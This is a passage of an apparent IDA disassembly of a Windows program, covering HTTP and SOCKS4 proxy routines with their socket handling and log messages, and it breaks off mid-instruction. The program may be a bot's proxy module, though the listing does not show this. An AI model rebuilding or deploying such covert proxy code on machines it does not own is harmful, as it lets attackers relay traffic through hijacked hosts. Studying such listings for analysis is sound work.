0DE6Ch, 4274C085h, 0BF958Bh, 6A0000h, 9C248C8Dh, 68000004h dd 4000h, 0D3FF5251h, 0FFFF883h, 0FFFE4584h, 0BB8D8BFFh dd 6A000000h, 848D5000h, 4A024h, 90515000h, 68B159E8h dd 0FFF88371h, 0FE24840Fh, 3D8BFFFFh, 50F8D0h, 0D7FF056Ah dd 0BB858Bh, 6A0000h, 9C24948Dh, 68000004h, 4000h, 0D3FF5052h dd 0F685F08Bh, 0FDF8840Fh, 167DFFFFh, 36EE890h, 333D7169h dd 75000027h, 0FF016A09h, 0FE9BE9D7h, 958BFFFFh, 0BFh dd 0FC8C3D8Bh, 6A0050h, 9C248C8Dh, 56000004h, 0D7FF5251h dd 0BF8D8Bh, 6A0000h, 9C24848Dh, 68000004h, 4000h, 0D3FF5150h dd 0F685F08Bh, 0FDA4840Fh, 1A7DFFFFh, 69031BE8h, 333D9071h dd 75000027h, 0E8016A0Dh, 2586E30h, 0FE43E990h, 858BFFFFh dd 0BBh, 948D006Ah, 49C24h, 50525600h, 2AE9D7FFh db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4291EF: ; CODE XREF: sub_4282C0+CA6j or esi, 0FFFFFFFFh loc_4291F2: ; CODE XREF: sub_4282C0+CC7j mov al, [esp+0B8h+var_A7] test al, al jnz short loc_429212 mov edx, [ebp+0BFh] push edx nop call near ptr 71AB9639h mov [ebp+0BFh], esi mov [esp+0BCh+var_AA], 1 loc_429212: ; CODE XREF: sub_4282C0+F38j lea ecx, [esp+0BCh+var_34] mov byte ptr [esp+0BCh+arg_53E0], 0Dh call sub_401226 lea ecx, [esp+0BCh+var_5C] mov byte ptr [esp+0BCh+arg_53E0], 0Ch call sub_401226 lea ecx, [esp+0BCh+var_74] mov byte ptr [esp+0BCh+arg_53E0], 2 call sub_401226 lea ecx, [esp+0BCh+var_8C] mov byte ptr [esp+0BCh+arg_53E0], 1 call sub_401226 lea ecx, [esp+0BCh+var_A8] mov byte ptr [esp+0BCh+arg_53E0], 0 call sub_401226 lea ecx, [esp+0BCh+var_4] mov [esp+0BCh+arg_53E0], esi call sub_4014B0 or esi, 0FFFFFFFFh loc_429280: ; CODE XREF: sub_4282C0+EBj mov al, [esp+0BCh+var_AA] test al, al jz loc_4282F8 loc_42928C: ; CODE XREF: sub_4282C0+1074j ; sub_4282C0+11CDj mov al, [ebp+0BAh] test al, al jz short loc_4292A9 mov eax, [ebp+0BBh] push eax nop call near ptr 71AB9639h mov [ebp+0BBh], esi loc_4292A9: ; CODE XREF: sub_4282C0+FD4j mov al, [esp+11h] test al, al jz short loc_4292C4 mov ecx, [ebp+0BFh] push ecx nop call near ptr 71AB9639h mov [ebp+0BFh], esi loc_4292C4: ; CODE XREF: sub_4282C0+FEFj ; sub_4282C0+1255j mov ecx, [esp+0C4h+arg_53D0] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 5494h retn ; --------------------------------------------------------------------------- loc_4292DD: ; CODE XREF: sub_4282C0+40Aj lea ecx, [esp+1Ch+arg_40] mov byte ptr [esp+1Ch+arg_5480], 0Ch call sub_401226 loc_4292EE: ; CODE XREF: sub_4282C0+3D7j lea ecx, [esp+1Ch+arg_28] mov byte ptr [esp+1Ch+arg_5480], 2 call sub_401226 loc_4292FF: ; CODE XREF: sub_4282C0+191j ; sub_4282C0+1AAj ... lea ecx, [esp+1Ch+arg_10] mov byte ptr [esp+1Ch+arg_5480], 1 call sub_401226 loc_429310: ; CODE XREF: sub_4282C0+85j lea ecx, [esp+1Ch+var_8] mov byte ptr [esp+1Ch+arg_5480], 0 call sub_401226 lea ecx, [esp+1Ch+arg_98] mov [esp+1Ch+arg_5480], esi call sub_4014B0 jmp loc_42928C ; --------------------------------------------------------------------------- loc_429339: ; CODE XREF: sub_4282C0+503j mov eax, [ebp+0BBh] push eax nop call near ptr 71AB9639h jmp loc_4294AA ; --------------------------------------------------------------------------- loc_42934B: ; CODE XREF: sub_4282C0+644j lea ecx, [esp+2Ch+arg_9D] call sub_4017E4 push eax lea ecx, [esp+30h+var_18] push offset aHttp1_0503Serv ; "HTTP/1.0 503 Service Unavailable\r\nServe"... push ecx call sub_40102D add esp, 0Ch lea ecx, [esp+2Ch+var_18] push 0 call sub_4013D9 push eax lea ecx, [esp+34h+var_18] call sub_4017E4 mov edx, [ebp+0BBh] push eax push edx call near ptr 71AB428Ah nop mov eax, [ebp+0BBh] mov esi, dword_50FC88 push eax call esi ; closesocket mov ecx, [ebp+0BFh] push ecx jmp loc_4294A8 ; --------------------------------------------------------------------------- loc_4293A8: ; CODE XREF: sub_4282C0+660j mov edx, [esp+38h+arg_D0] lea ecx, [esp+38h+arg_91] push edx call sub_4017E4 push eax lea eax, [esp+40h+var_24] push offset aHttp1_0503Se_0 ; "HTTP/1.0 503 Service Unavailable\r\nServe"... push eax call sub_40102D add esp, 10h lea ecx, [esp+38h+var_24] push 0 call sub_4013D9 push eax lea ecx, [esp+40h+var_24] call sub_4017E4 mov ecx, [ebp+0BBh] push eax push ecx nop call near ptr 71AB428Ah loc_4293F2: ; CODE XREF: sub_4282C0+711j ; sub_4282C0+719j mov edx, [ebp+0BBh] mov esi, dword_50FC88 push edx call esi ; closesocket mov eax, [ebp+0BFh] push eax jmp loc_4294A8 ; --------------------------------------------------------------------------- loc_42940D: ; CODE XREF: sub_4282C0+5EEj mov ecx, [ebp+0BBh] push ecx nop call near ptr 71AB9639h jmp loc_4294AA ; --------------------------------------------------------------------------- loc_42941F: ; CODE XREF: sub_4282C0+73Fj lea ecx, [esp+48h+arg_3C] mov byte ptr [esp+48h+arg_5454], 0Dh call sub_401226 lea ecx, [esp+48h+arg_14] mov byte ptr [esp+48h+arg_5454], 0Ch call sub_401226 lea ecx, [esp+48h] mov byte ptr [esp+48h+arg_5454], 2 call sub_401226 lea ecx, [esp+48h+var_18] mov byte ptr [esp+48h+arg_5454], 1 call sub_401226 lea ecx, [esp+48h+var_34] mov byte ptr [esp+48h+arg_5454], 0 call sub_401226 lea ecx, [esp+48h+arg_6C] mov [esp+48h+arg_5454], ebx call sub_4014B0 or esi, 0FFFFFFFFh jmp loc_42928C ; --------------------------------------------------------------------------- loc_429492: ; CODE XREF: sub_4282C0+D45j ; sub_4282C0+D4Dj mov ecx, [ebp+0BBh] mov esi, dword_50FC88 push ecx call esi ; closesocket mov edx, [ebp+0BFh] push edx loc_4294A8: ; CODE XREF: sub_4282C0+10E3j ; sub_4282C0+1148j call esi ; closesocket loc_4294AA: ; CODE XREF: sub_4282C0+1086j ; sub_4282C0+115Aj lea ecx, [esp+50h+arg_34] mov byte ptr [esp+50h+arg_544C], 0Dh call sub_401226 lea ecx, [esp+50h+arg_C] mov byte ptr [esp+50h+arg_544C], 0Ch call sub_401226 lea ecx, [esp+50h+var_8] mov byte ptr [esp+50h+arg_544C], 2 call sub_401226 lea ecx, [esp+50h+var_20] mov byte ptr [esp+50h+arg_544C], 1 call sub_401226 lea ecx, [esp+50h+var_3C] mov byte ptr [esp+50h+arg_544C], 0 call sub_401226 lea ecx, [esp+50h+arg_64] mov [esp+50h+arg_544C], ebx call sub_4014B0 jmp loc_4292C4 sub_4282C0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 6 dup(90h) db 4A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4299C0 proc near ; CODE XREF: sub_4018DEj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4299C0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F82 push offset aHttp_0 ; "HTTP" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E15C call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4299C0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_429A30: ; CODE XREF: ___:loc_40112Cj ; ___:0040128Fj push esi mov esi, ecx call sub_402108 test byte ptr [esp+8], 1 jz short loc_429A48 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_429A48: ; CODE XREF: ___:00429A3Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429A60 proc near ; CODE XREF: sub_402108j push esi mov esi, ecx mov eax, [esi+9Eh] mov dword ptr [esi], offset off_43E15C cmp eax, 0FFFFFFFFh jz short loc_429A7B push eax nop call near ptr 71AB9639h loc_429A7B: ; CODE XREF: sub_429A60+12j mov ecx, esi call sub_40179E pop esi retn sub_429A60 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429AA0 proc near ; CODE XREF: sub_4010E1j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_429AA0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push edi mov edi, ecx mov dword ptr [edi+9Eh], 0FFFFFFFFh loc_429AC3: ; CODE XREF: sub_429AA0+48j mov eax, [edi+99h] mov cl, [eax+11Ch] test cl, cl jz short loc_429AEA mov ecx, [edi+3Bh] push ecx call sub_40197E add esp, 4 cmp eax, 0FFFFFFFFh mov [edi+9Eh], eax jz short loc_429AC3 loc_429AEA: ; CODE XREF: sub_429AA0+31j mov edx, [edi+99h] mov al, [edx+11Ch] test al, al jz loc_429BBC push ebp push esi loc_429B00: ; CODE XREF: sub_429AA0+114j mov eax, [edi+9Eh] push eax call sub_4012DF mov ebp, eax add esp, 4 cmp ebp, 0FFFFFFFFh jz loc_429B9B test ebp, ebp jz short loc_429B9B push 0C3h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+1Ch+var_10], eax test eax, eax mov [esp+1Ch+var_4], 0 jz short loc_429B46 mov ecx, eax call sub_401884 mov esi, eax jmp short loc_429B48 ; --------------------------------------------------------------------------- loc_429B46: ; CODE XREF: sub_429AA0+99j xor esi, esi loc_429B48: ; CODE XREF: sub_429AA0+A4j mov ecx, [edi+99h] mov [esi+9Dh], edi mov [esi+99h], ecx mov edx, [edi+3Bh] lea eax, [edi+26h] lea ecx, [esi+26h] push eax mov [esp+20h+var_4], 0FFFFFFFFh mov [esi+3Bh], edx mov [esi+0BBh], ebp call sub_401FBE mov cl, [edi+97h] mov [esi+97h], cl mov dl, [edi+98h] mov ecx, esi mov [esi+98h], dl call sub_4013D4 jmp short loc_429BA6 ; --------------------------------------------------------------------------- loc_429B9B: ; CODE XREF: sub_429AA0+74j ; sub_429AA0+7Cj push 0FAh nop call near ptr 29B0000h loc_429BA6: ; CODE XREF: sub_429AA0+F9j mov eax, [edi+99h] mov cl, [eax+11Ch] test cl, cl jnz loc_429B00 pop esi pop ebp loc_429BBC: ; CODE XREF: sub_429AA0+58j mov edi, [edi+9Eh] cmp edi, 0FFFFFFFFh jz short loc_429BCE push edi nop call near ptr 71AB9639h loc_429BCE: ; CODE XREF: sub_429AA0+125j mov ecx, [esp+14h+var_C] pop edi mov large fs:0, ecx add esp, 10h retn sub_429AA0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429C30 proc near ; CODE XREF: sub_40137Aj push ebx push esi mov esi, ecx push edi mov al, [esi+9Dh] lea edi, [esi+11h] test al, al mov eax, [esi+3Bh] lea ebx, [esi+26h] push eax mov ecx, edi jz short loc_429C58 call sub_4017E4 push eax push offset aSStartingProxy ; "[%s] Starting proxy on %d with SSL." jmp short loc_429C63 ; --------------------------------------------------------------------------- loc_429C58: ; CODE XREF: sub_429C30+19j call sub_4017E4 push eax push offset aSStartingPro_0 ; "[%s] Starting proxy on port %d." loc_429C63: ; CODE XREF: sub_429C30+26j mov ecx, ebx call sub_4014D3 mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 1Ch mov ecx, esi call sub_4010E1 mov eax, [esi+3Bh] mov ecx, edi push eax call sub_4017E4 push eax push offset aSUnloadedProxy ; "[%s] Unloaded proxy on port %d." mov ecx, ebx call sub_4014D3 mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 1Ch pop edi pop esi pop ebx retn sub_429C30 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429D00 proc near ; CODE XREF: sub_40211Cj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_429D00 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F82 push offset aSocks4 ; "Socks4" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E16C call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_429D00 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_429D70: ; CODE XREF: ___:00401870j ; ___:loc_401B04j push esi mov esi, ecx call sub_401F87 test byte ptr [esp+8], 1 jz short loc_429D88 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_429D88: ; CODE XREF: ___:00429D7Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_429DA0 proc near ; CODE XREF: sub_401F87j jmp sub_40179E sub_429DA0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429DC0 proc near ; CODE XREF: sub_4010AFj var_81D = byte ptr -81Dh var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = dword ptr -814h var_810 = dword ptr -810h var_80C = dword ptr -80Ch var_808 = byte ptr -808h var_807 = byte ptr -807h var_806 = word ptr -806h var_804 = dword ptr -804h var_800 = byte ptr -800h var_400 = byte ptr -400h sub esp, 820h lea eax, [esp+820h+var_81D] push ebx push ebp push esi mov esi, dword_50FC90 mov ebp, ecx push edi push 0 push 1 mov ecx, [ebp+0A1h] push eax push ecx call esi ; recv cmp eax, 1 jge short loc_429E01 mov edx, [ebp+0A1h] push edx nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 820h retn ; --------------------------------------------------------------------------- loc_429E01: ; CODE XREF: sub_429DC0+27j cmp [esp+830h+var_81D], 4 jnz loc_429FEC mov ecx, [ebp+0A1h] push 0 lea eax, [esp+834h+var_807] push 406h push eax push ecx call esi ; recv cmp eax, 1 jge short loc_429E3E mov edx, [ebp+0A1h] push edx call near ptr 71AB9639h nop pop edi pop esi pop ebp pop ebx add esp, 820h retn ; --------------------------------------------------------------------------- loc_429E3E: ; CODE XREF: sub_429DC0+64j cmp [esp+830h+var_807], 1 jnz loc_429FEC mov cx, [esp+830h+var_806] mov edx, [esp+830h+var_804] xor eax, eax push 6 mov [esp+834h+var_818], eax push 1 mov [esp+838h+var_814], eax push 2 mov [esp+83Ch+var_810], eax mov word ptr [esp+83Ch+var_818], 2 mov [esp+83Ch+var_80C], eax mov word ptr [esp+83Ch+var_818+2], cx mov [esp+83Ch+var_814], edx nop call near ptr 71AB3B91h mov ebx, eax lea eax, [esp+830h+var_818] push 10h push eax push ebx nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh mov [esp+830h+var_808], 0 jnz short loc_429ED9 mov edx, [ebp+0A1h] mov ecx, 100h xor eax, eax lea edi, [esp+830h+var_800] mov [esp+830h+var_807], 5Bh push eax rep stosd lea ecx, [esp+834h+var_808] push 8 push ecx push edx call near ptr 71AB428Ah nop mov eax, [ebp+0A1h] push eax nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 820h retn ; --------------------------------------------------------------------------- loc_429ED9: ; CODE XREF: sub_429DC0+D8j mov edx, [ebp+0A1h] mov ecx, 100h xor eax, eax lea edi, [esp+830h+var_800] mov [esp+830h+var_807], 5Ah push eax rep stosd lea ecx, [esp+834h+var_808] push 8 push ecx push edx nop call near ptr 71AB428Ah mov ecx, [ebp+0A1h] mov esi, dword_50FC50 lea eax, [esp+830h+var_81C] mov [esp+830h+var_81C], 1 push eax push 8004667Eh push ecx call esi ; ioctlsocket lea edx, [esp+830h+var_81C] mov [esp+830h+var_81C], 1 push edx push 8004667Eh push ebx call esi ; ioctlsocket loc_429F36: ; CODE XREF: sub_429DC0+1AFj ; sub_429DC0+1FEj ... mov edi, dword_50FC90 push 0 lea eax, [esp+834h+var_400] push 400h push eax push ebx call edi ; recv mov esi, eax test esi, esi jz loc_429FDA jge short loc_429F71 nop call near ptr 71AB94DCh cmp eax, 2733h jz short loc_429F71 push 0Ah call near ptr 29B0000h nop jmp short loc_429F36 ; --------------------------------------------------------------------------- loc_429F71: ; CODE XREF: sub_429DC0+198j ; sub_429DC0+1A5j mov edx, [ebp+0A1h] push 0 lea ecx, [esp+834h+var_400] push esi push ecx push edx nop call near ptr 71AB428Ah mov ecx, [ebp+0A1h] push 0 lea eax, [esp+834h+var_400] push 400h push eax push ecx call edi ; recv mov esi, eax test esi, esi jz short loc_429FDA jge short loc_429FC3 nop call near ptr 71AB94DCh cmp eax, 2733h jz short loc_429FC3 push 0Ah nop call near ptr 29B0000h jmp loc_429F36 ; --------------------------------------------------------------------------- loc_429FC3: ; CODE XREF: sub_429DC0+1E7j ; sub_429DC0+1F4j push 0 lea edx, [esp+834h+var_400] push esi push edx push ebx call near ptr 71AB428Ah nop jmp loc_429F36 ; --------------------------------------------------------------------------- loc_429FDA: ; CODE XREF: sub_429DC0+192j ; sub_429DC0+1E5j mov eax, [ebp+0A1h] mov esi, dword_50FC88 push eax call esi ; closesocket push ebx call esi ; closesocket loc_429FEC: ; CODE XREF: sub_429DC0+46j ; sub_429DC0+83j pop edi pop esi pop ebp pop ebx add esp, 820h retn sub_429DC0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A090 proc near ; CODE XREF: sub_40216Cj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42A090 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F82 push offset aSocks4 ; "Socks4" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E17C call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42A090 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A100 proc near ; CODE XREF: ___:00401032j sub_4017A8j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401C3A test [esp+4+arg_0], 1 jz short loc_42A118 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_42A118: ; CODE XREF: sub_42A100+Dj mov eax, esi pop esi retn 4 sub_42A100 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42A130 proc near ; CODE XREF: sub_401C3Aj jmp sub_40179E sub_42A130 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A150 proc near ; CODE XREF: sub_40188Ej var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = byte ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_42A150 push eax mov large fs:0, esp sub esp, 28h push ebx push esi mov esi, ecx mov eax, [esi+3Bh] lea ecx, [esi+11h] push eax lea ebx, [esi+26h] call sub_4017E4 push eax push offset aSStartingSocks ; "[%s] Starting Socks4 Proxy on port %d." mov ecx, ebx call sub_4014D3 mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 1Ch push 6 push 1 push 2 call near ptr 71AB3B91h nop cmp eax, 0FFFFFFFFh mov [esi+9Dh], eax jz loc_42A359 mov cx, [esi+3Bh] xor eax, eax mov [esp+3Ch+var_2C], eax push ecx mov [esp+40h+var_28], eax mov word ptr [esp+40h+var_2C], 2 mov [esp+40h+var_24], eax mov [esp+40h+var_20], eax call near ptr 71AB2B66h nop mov word ptr [esp+3Ch+var_2C+2], ax mov eax, [esi+9Dh] lea edx, [esp+3Ch+var_2C] push 10h push edx push eax mov [esp+48h+var_34], 10h call near ptr 71AB3E00h nop test eax, eax jz short loc_42A226 mov ecx, [esi+9Dh] push ecx call near ptr 71AB9639h nop pop esi pop ebx mov ecx, [esp+34h+var_C] mov large fs:0, ecx add esp, 34h retn ; --------------------------------------------------------------------------- loc_42A226: ; CODE XREF: sub_42A150+B6j mov edx, [esi+99h] push ebp push edi mov al, [edx+11Ch] test al, al jz loc_42A310 loc_42A23C: ; CODE XREF: sub_42A150+1BAj mov eax, [esi+9Dh] push 0Ah push eax nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jnz short loc_42A260 push 0FAh nop call near ptr 29B0000h jmp loc_42A2FC ; --------------------------------------------------------------------------- loc_42A260: ; CODE XREF: sub_42A150+FEj mov eax, [esi+9Dh] lea ecx, [esp+40h+var_30] lea edx, [esp+40h+var_18] push ecx push edx push eax nop call near ptr 71AC1028h mov ebp, eax cmp ebp, 0FFFFFFFFh jz loc_42A310 xor edi, edi cmp ebp, edi jz loc_42A310 push 0A5h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+44h+var_30], eax cmp eax, edi mov [esp+44h+var_4], edi jz short loc_42A2AE mov ecx, eax call sub_40211C mov edi, eax loc_42A2AE: ; CODE XREF: sub_42A150+153j mov ecx, [esi+99h] mov [edi+9Dh], esi mov [edi+99h], ecx mov edx, [esi+3Bh] push ebx lea ecx, [edi+26h] mov [esp+48h+var_4], 0FFFFFFFFh mov [edi+3Bh], edx mov [edi+0A1h], ebp call sub_401FBE mov al, [esi+97h] mov [edi+97h], al mov cl, [esi+98h] mov [edi+98h], cl mov ecx, edi call sub_4013D4 loc_42A2FC: ; CODE XREF: sub_42A150+10Bj mov edx, [esi+99h] mov al, [edx+11Ch] test al, al jnz loc_42A23C loc_42A310: ; CODE XREF: sub_42A150+E6j ; sub_42A150+12Cj ... mov eax, [esi+9Dh] pop edi cmp eax, 0FFFFFFFFh pop ebp jz short loc_42A324 push eax nop call near ptr 71AB9639h loc_42A324: ; CODE XREF: sub_42A150+1CBj mov eax, [esi+3Bh] lea ecx, [esi+11h] push eax call sub_4017E4 push eax push offset aSUnloadedPro_0 ; "[%s] Unloaded proxy on %d." mov ecx, ebx call sub_4014D3 mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 1Ch loc_42A359: ; CODE XREF: sub_42A150+69j mov ecx, [esp+3Ch+var_C] pop esi pop ebx mov large fs:0, ecx add esp, 34h retn sub_42A150 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A400 proc near ; CODE XREF: sub_40174Ej arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax nop call near ptr 71AB4FD4h test eax, eax jz short loc_42A421 mov ecx, [eax+0Ch] mov edx, [ecx] mov ecx, [esp+arg_4] mov eax, [edx] mov [ecx], eax mov al, 1 retn 8 ; --------------------------------------------------------------------------- loc_42A421: ; CODE XREF: sub_42A400+Dj xor al, al retn 8 sub_42A400 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A440 proc near ; CODE XREF: sub_4020C2j var_50C = dword ptr -50Ch var_508 = dword ptr -508h var_504 = dword ptr -504h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_400 = byte ptr -400h arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 50Ch push ebx mov ebx, [esp+510h+arg_4] push ebp push esi push edi mov [esp+51Ch+var_50C], 0 mov [esp+51Ch+var_508], 0 loc_42A461: ; CODE XREF: sub_42A440+12Cj mov ebp, [esp+51Ch+arg_0] mov [esp+51Ch+var_504], 1 mov [esp+51Ch+var_500], ebp xor eax, eax lea ecx, [esp+51Ch+var_500] loc_42A47A: ; CODE XREF: sub_42A440+45j cmp [ecx], ebx jz short loc_42A487 inc eax add ecx, 4 cmp eax, 1 jb short loc_42A47A loc_42A487: ; CODE XREF: sub_42A440+3Cj cmp eax, 1 jnz short loc_42A498 mov [esp+51Ch+var_4FC], ebx mov [esp+51Ch+var_504], 2 loc_42A498: ; CODE XREF: sub_42A440+4Aj lea eax, [esp+51Ch+var_50C] lea ecx, [esp+51Ch+var_504] push eax push 0 push 0 push ecx push 2 call near ptr 71AB2DC0h nop test eax, eax jbe short loc_42A523 cmp eax, 0FFFFFFFFh jz short loc_42A523 lea edx, [esp+51Ch+var_504] push edx push ebp call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax jz short loc_42A4CC mov eax, ebp mov ebp, ebx jmp short loc_42A4CE ; --------------------------------------------------------------------------- loc_42A4CC: ; CODE XREF: sub_42A440+84j mov eax, ebx loc_42A4CE: ; CODE XREF: sub_42A440+8Aj push 0 lea ecx, [esp+520h+var_400] push 3FFh push ecx push eax nop call near ptr 71AB615Ah mov edi, eax xor esi, esi cmp edi, 0FFFFFFFFh mov [esp+edi+51Ch+var_400], 0 jz short loc_42A572 test edi, edi jz short loc_42A572 jbe short loc_42A51C loc_42A4FB: ; CODE XREF: sub_42A440+DAj mov edx, edi push 0 sub edx, esi lea eax, [esp+esi+520h+var_400] push edx push eax push ebp nop call near ptr 71AB428Ah cmp eax, 0FFFFFFFFh jz short loc_42A572 add esi, eax cmp esi, edi jb short loc_42A4FB loc_42A51C: ; CODE XREF: sub_42A440+B9j mov ebp, [esp+51Ch+arg_0] loc_42A523: ; CODE XREF: sub_42A440+70j ; sub_42A440+75j mov [esp+51Ch+var_500], ebp mov [esp+51Ch+var_504], 1 xor eax, eax lea ecx, [esp+51Ch+var_500] loc_42A535: ; CODE XREF: sub_42A440+100j cmp [ecx], ebx jz short loc_42A542 inc eax add ecx, 4 cmp eax, 1 jb short loc_42A535 loc_42A542: ; CODE XREF: sub_42A440+F7j cmp eax, 1 jnz short loc_42A554 mov [esp+eax*4+51Ch+var_500], ebx mov eax, [esp+51Ch+var_504] inc eax mov [esp+51Ch+var_504], eax loc_42A554: ; CODE XREF: sub_42A440+105j lea ecx, [esp+51Ch+var_50C] lea edx, [esp+51Ch+var_504] push ecx push edx push 0 push 0 push 2 nop call near ptr 71AB2DC0h test eax, eax jle loc_42A461 loc_42A572: ; CODE XREF: sub_42A440+B3j ; sub_42A440+B7j ... pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 50Ch retn 8 sub_42A440 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A5F0 proc near ; CODE XREF: sub_401C1Cj var_51C = word ptr -51Ch var_51A = word ptr -51Ah var_518 = dword ptr -518h var_50C = dword ptr -50Ch var_508 = dword ptr -508h var_504 = dword ptr -504h var_500 = dword ptr -500h var_400 = dword ptr -400h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 51Ch push ebx push ebp mov ebp, [esp+524h+arg_4] push esi push edi mov edx, ecx movsx eax, byte ptr [ebp+3] dec eax mov [esp+52Ch+var_508], 0 mov [esp+52Ch+var_50C], 7 mov [esp+52Ch+var_51C], 2 jz short loc_42A68F dec eax jz short loc_42A63A dec eax jnz loc_42A782 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 51Ch retn 0Ch ; --------------------------------------------------------------------------- loc_42A63A: ; CODE XREF: sub_42A5F0+32j movsx eax, byte ptr [ebp+4] mov ecx, eax lea esi, [ebp+5] mov ebx, ecx lea edi, [esp+52Ch+var_400] shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb mov byte ptr [esp+eax+52Ch+var_400], 0 lea eax, [esp+52Ch+var_518] lea ecx, [esp+52Ch+var_400] push eax push ecx mov ecx, edx call sub_40174E test al, al jz loc_42A782 movsx esi, byte ptr [ebp+4] mov dx, [esi+ebp+5] add esi, 7 mov [esp+52Ch+var_51A], dx jmp short loc_42A6AB ; --------------------------------------------------------------------------- loc_42A68F: ; CODE XREF: sub_42A5F0+2Fj mov eax, [ebp+4] mov esi, 0Ah mov [esp+52Ch+var_400], eax mov [esp+52Ch+var_518], eax mov ax, [ebp+8] mov [esp+52Ch+var_51A], ax loc_42A6AB: ; CODE XREF: sub_42A5F0+9Dj mov ebx, dword_50FC30 push 11h push 2 push 2 call ebx ; socket push 11h push 2 push 2 mov edi, eax call ebx ; socket cmp edi, 0FFFFFFFFh jz loc_42A782 cmp eax, 0FFFFFFFFh jnz loc_42A782 mov edx, [esp+52Ch+arg_8] lea ecx, [esp+52Ch+var_51C] push 10h push ecx sub edx, esi push 0 add esi, ebp mov ebp, dword_50FC5C push edx push esi push edi call ebp ; sendto mov ebx, [esp+52Ch+arg_0] push 10h push 